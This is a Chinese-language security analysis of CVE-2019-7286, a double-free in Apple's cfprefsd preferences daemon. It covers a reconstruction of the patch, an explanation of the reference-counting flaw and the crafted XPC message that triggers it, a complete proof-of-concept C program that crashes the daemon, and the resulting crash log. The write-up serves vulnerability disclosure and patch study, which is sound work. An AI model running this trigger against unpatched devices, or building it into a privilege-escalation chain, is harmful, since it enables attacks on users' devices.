iOS/OSX漏洞分析和再现:CVE-2019-7286
ios 12.1.4是2019年2月8日发布的ios的最新版本。该版本修补了ios上发现的四个漏洞。根据project zero的ben hawkes的推文,其中至少有两个0day还是处于在野状态……
- cve-2019-7286在野外被开发利用
- 该漏洞似乎具有严重的严重性,并且可能在重新启动后也可能用于维持持久性
- zecops能够重现此漏洞(下面的poc代码)
- 该漏洞可用于将权限升级为root,作为ios 12.1.3上越狱链的一部分。
分析cve-2019-7286
根据apple的描述:
基础
适用于:iphone 5s及更高版本,ipad air及更高版本以及ipod touch第6代
影响:应用程序可能获得提升的权限
说明:通过改进的输入验证解决了内存损坏问题。
cve-2019-7286:匿名研究员,google威胁分析组的clement lecigne,google project zero的ian beer和google project zero的samuelgroß
除了在apple的foundation框架中修补漏洞这一事实外,该描述并未向我们提供有关漏洞性质的大量详细信息。
在分析foundation框架中的补丁后,二进制差异显示ios 12.1.4的二进制文件与ios 12.1.3相比没有显着变化。下一个直接的嫌疑人是corefoundation,它显示了diaphora工具中的一些二进制差异,如下所示:
通过比较补丁,我们发现cfprefs守护进程(cfprefsd)的实现有一些细微的变化。
此守护程序的手册页不太具描述性:
cfprefsd为cfpreferences和
nsuserdefaults api 提供首选项服务。手动
没有cfprefsd的配置选项。
几乎所有ios / os x上的软件都会在启动时使用cfpreferences选项,因此该守护程序中的漏洞可能对维护持久性也很有用。令人惊讶的是,目前还没有关于此cve的公开信息,正如人们所期望的那样,这个漏洞在野外被积极利用。
补丁分析
os x上也存在同样的错误,这有助于zecops的调查和分析。在修补程序时,对cfprefsd引入了一些小的更改,但似乎最重要的修改是在以下函数中进行的:
[cfprefsdaemon handlemultimessage:replyhandler:]
下面是一段zecops试图重建原始的obj-c代码以及补丁(粗体):
1 @implementation cfprefsdaemon 2 -(void)handlemultimessage:(xpc_object_t)xpc_dict replyhandler:(callback)replyhandler 3 { 4 // ... 5 cfprefmessagesarr = xpc_dictionary_get_value(xpc_dict, "cfpreferencesmessages"); 6 // ... 7 xpc_array_count = xpc_array_get_count(cfprefmessagesarr); 8 xpc_buffer = (__int64*)__cfallocateobjectarray(xpc_array_count); 9 //... 10 for( counter = 0; xpc_array_count != counter; counter++) 11 { 12 xpc_buffer[counter] = xpc_array_get_value(cfprefmessagesarr, counter); // this method does not grant the caller a reference to the underlying object, and thus the caller is not responsible for releasing the object. 13 } 14 for( counter = 0; xpc_array_count != loop_counter ; counter++) 15 { 16 xpc_element = xpc_buffer[counter]; 17 xpc_buffer[counter] = 0; //patch fix 18 if ( xpc_get_type(xpc_element) == &_xpc_type_dictionary ) 19 { 20 [self handlemessage_frompeer_replyhandler: xpc_element frompeer: xpc_connection replyhandler:^{ 21 if (xpc_element) // patch fix 22 { 23 xpc_object_t result = xpc_retain(xpc_element); 24 xpc_buffer[counter] = result; 25 } 26 }]; 27 } 28 if ( !xpc_buffer[counter] ) //patch fix 29 xpc_buffer[counter] = xpc_null_create(); //patch fix 30 } 31 //... 32 array_from_xpc_buffer = xpc_array_create(xpc_buffer, xpc_array_count); 33 xpc_dictionary_set_value(dict_response, "cfpreferencesmessages", array_from_xpc_buffer); 34 xpc_release(array_from_xpc_buffer); 35 for( counter = 0; xpc_array_count != counter ; counter++) 36 { 37 current_element = xpc_buffer[counter]; 38 if (xpc_get_type(current_element) != &_xpc_type_null ) 39 xpc_release(current_element); // first free. double free will occur when the array cfprefmessagesarr will be released. 40 } 41 // ... 42 }
漏洞详细信息
handlemultimessage:replyhandler:使用“ cfpreferencesmessages ”数组引用计数问题,该数组是xpc请求的一部分。
该函数使用xpc_array_get_value逐个将数组的对象读入内存缓冲区,这不会影响引用计数。释放缓冲区中所有元素的函数的最后一部分假定xpc对象具有所有权。这通常是真实的,因为回调块调用xpc_retain并在替换原来的对象xpc_buffer。但是,如果由于精心制作的消息而未调用回调(消息正文包含消息的处理程序索引。并非所有处理程序都调用回调),则会发生双重释放。
具有以下键和值的xpc将触发此漏洞:
1 poc_dict = { 2 "cfpreferencesoperation" = 5, 3 "cfpreferencesmessages" = [ 4 { 5 "cfpreferencesoperation": 4 6 } 7 ] 8 }
如果回调没有更新xpc_buffer [count], apple的补丁用xpc_null替换了原始的xpc对象。因此,当xpc_null没有要释放的内存时,没有双重释放条件。
漏洞复制
我们能够使用下面的poc代码片段重现cve-2019-7286:
1 #include <xpc/xpc.h>; 2 3 int main(int argc, const char * argv[]) { 4 5 xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,xpc_connection_mach_service_privileged); 6 xpc_connection_set_event_handler(conn, ^(xpc_object_t t) { 7 printf("got message: %sn", xpc_copy_description(t)); 8 }); 9 10 xpc_connection_resume(conn); 11 12 xpc_object_t hello = xpc_dictionary_create(null, null, 0); 13 xpc_dictionary_set_int64(hello, "cfpreferencesoperation", 5); 14 15 xpc_object_t arr = xpc_array_create(null, 0); 16 xpc_object_t arr_elem1 = xpc_dictionary_create(null, null, 0); 17 xpc_dictionary_set_int64(arr_elem1, "cfpreferencesoperation", 4); 18 19 xpc_array_append_value(arr, arr_elem1); 20 xpc_dictionary_set_value(hello, "cfpreferencesmessages", arr); 21 xpc_connection_send_message(conn, hello); 22 xpc_release(hello); 23 return 0; 24 }
在ios 12.0.1上运行上述程序导致cfprefsd崩溃:
thread 6 name: dispatch queue: serving pid 7210 thread 6 crashed: 0 libobjc.a.dylib 0x21acd6b00 objc_object::release+ 16 1 libxpc.dylib 0x21b73bbc0 _xpc_array_dispose + 40 2 libxpc.dylib 0x21b73a584 _xpc_dispose + 156 3 libxpc.dylib 0x21b7449fc _xpc_dictionary_dispose + 204 4 libxpc.dylib 0x21b73a584 _xpc_dispose + 156 5 libxpc.dylib 0x21b742418 _xpc_connection_mach_event + 872 6 libdispatch.dylib 0x21b528544 _dispatch_client_callout4 + 16 7 libdispatch.dylib 0x21b4df068 _dispatch_mach_msg_invoke + 340 8 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284 9 libdispatch.dylib 0x21b4dfc3c _dispatch_mach_invoke + 476 10 libdispatch.dylib 0x21b4cfae4 _dispatch_lane_serial_drain + 284 11 libdispatch.dylib 0x21b4d0760 _dispatch_lane_invoke + 432 12 libdispatch.dylib 0x21b4d8f00 _dispatch_workloop_worker_thread + 600 13 libsystem_pthread.dylib 0x21b70a0f0 _pthread_wqthread + 312 14 libsystem_pthread.dylib 0x21b70cd00 start_wqthread + 4
建议
- 更新到最新的os x和ios版本。
- 偶尔重启iphone / ipad(例如每天一次)以从脱离非持久性攻击。